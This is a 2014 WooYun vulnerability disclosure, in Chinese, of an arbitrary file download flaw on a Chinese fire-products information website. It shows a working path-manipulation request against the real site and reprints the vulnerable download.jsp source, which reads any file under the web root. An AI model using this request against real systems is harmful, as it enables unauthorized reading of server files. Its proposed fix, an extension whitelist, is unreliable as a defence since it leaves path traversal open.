当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061574

漏洞标题:中国消防产品信息网任意文件下载

相关厂商:中国消防产品信息网

漏洞作者: new

提交时间:2014-05-23 17:40

修复时间:2014-07-07 17:41

公开时间:2014-07-07 17:41

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:8

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-07-07: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

中国消防产品信息网任意文件下载

详细说明:

网站首页:http://www.cccf.com.cn/getIndex.do
下载链接:http://www.cccf.com.cn/net/pages/download.jsp?path=uploads%5C2013%5C04%5C11%5C1310185844586.doc&name=%C3%F0%BB%F0%C6%F7%B2%FA%C6%B7..doc
直接将path值改为你要下载的文件名,就可以download之,
例如:http://www.cccf.com.cn/net/pages/download.jsp?path=/net/pages/download.jsp
结果如下:

cccf.png


我们在来看一下download。jsp文件:
源码如下:

<%@page contentType="application/x-msdownload"%>
<%@ page language="java" pageEncoding="gb2312"%>
<%@page import="java.io.BufferedInputStream"%>
<%@page import="java.io.BufferedOutputStream"%>
<%@page import="java.io.IOException"%>
<%
String root = application.getRealPath("/");
String realName = request.getParameter("name");
String fullPath = request.getParameter("path");
response.setHeader("Content-Type", "application/x-msdownload;");
response.setHeader("Content-disposition", "attachment; filename=" + realName + "");

java.io.BufferedInputStream bis = null;
java.io.BufferedOutputStream bos = null;
try {
bis = new BufferedInputStream(new java.io.FileInputStream(root + fullPath ));
bos = new BufferedOutputStream(response.getOutputStream());
byte[] buff = new byte[10 * 1024];
int bytesRead;
while ( -1 != (bytesRead = bis.read(buff, 0, buff.length))) {
bos.write(buff, 0, bytesRead);
}
bos.flush();
} catch (IOException ioe) {
System.out.println("ÏÂÔØŽíÎó£º" + ioe);
} finally {
if (bis != null){
bis.close();
}
if (bos != null) {
bos.close();
}
out.clear();
out = pageContext.pushBody();
}
%>


似乎没有任何限制,只要文件名和路径对就可以了,而且后面的文件名我们不用填写,只用填写路径就好了,这个是java字符串处理的特性,拼接起来就是完整的路径了。

漏洞证明:

同上

修复方案:

做一下下载过滤,只能下载pdf、xls、doc、ppt文件,应该能保你一时平安。

版权声明:转载请注明来源 new@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝